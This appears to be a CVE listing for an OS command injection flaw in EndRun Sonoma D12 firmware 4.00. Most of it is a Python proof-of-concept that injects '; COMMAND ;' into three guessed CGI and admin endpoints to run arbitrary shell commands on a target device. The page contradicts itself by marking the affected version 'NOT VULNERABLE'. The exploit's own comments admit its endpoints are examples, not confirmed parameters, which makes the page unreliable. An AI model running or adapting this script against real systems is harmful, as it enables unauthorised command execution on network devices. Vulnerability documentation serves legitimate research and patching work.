OS Command Injection vulnerability in EndRun Technologies Sonoma D12 Network Time Server (GPS) F/W 6010-0071-000 Ver 4.00 allows attackers to gain sensitive information.
cpe:2.3:h:endruntechnologies:sonoma_d12:4.00:*:*:*:*:*:*:* - NOT VULNERABLE
EndRun Sonoma D12 F/W 6010-0071-000 Ver 4.00
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60959 - EndRun Sonoma D12 OS Command Injection PoC
# Author: xDiv-Sec Research Team
# Advisory: https://xdiv-sec.github.io/vulnerability-research/advisories/2025-10-03-sonoma-d12
import requests
import sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.1.1"
COMMAND = sys.argv[2] if len(sys.argv) > 2 else "id"
# Vulnerable endpoint (example - actual parameter may vary)
# The vulnerability exists in a CGI script that passes user input to system()
# without proper sanitization.
payload = f"; {COMMAND} ;"
# Example injection points that may be vulnerable:
endpoints = [
f"{TARGET}/cgi-bin/support.cgi?query={payload}",
f"{TARGET}/cgi-bin/status.cgi?cmd={payload}",
f"{TARGET}/admin/ping?host=127.0.0.1{payload}",
]
for url in endpoints:
try:
print(f"[*] Trying: {url}")
r = requests.get(url, timeout=10, verify=False)
if r.status_code == 200 and "uid=" in r.text:
print(f"[+] Command injection successful!")
print(r.text)
break
except Exception as e:
print(f"[-] Error: {e}")
# Note: Actual exploitation requires identifying the specific vulnerable
# parameter. Refer to the official advisory for exact details.
# The injection uses shell metacharacters to break out of the intended
# command context and execute arbitrary OS commands.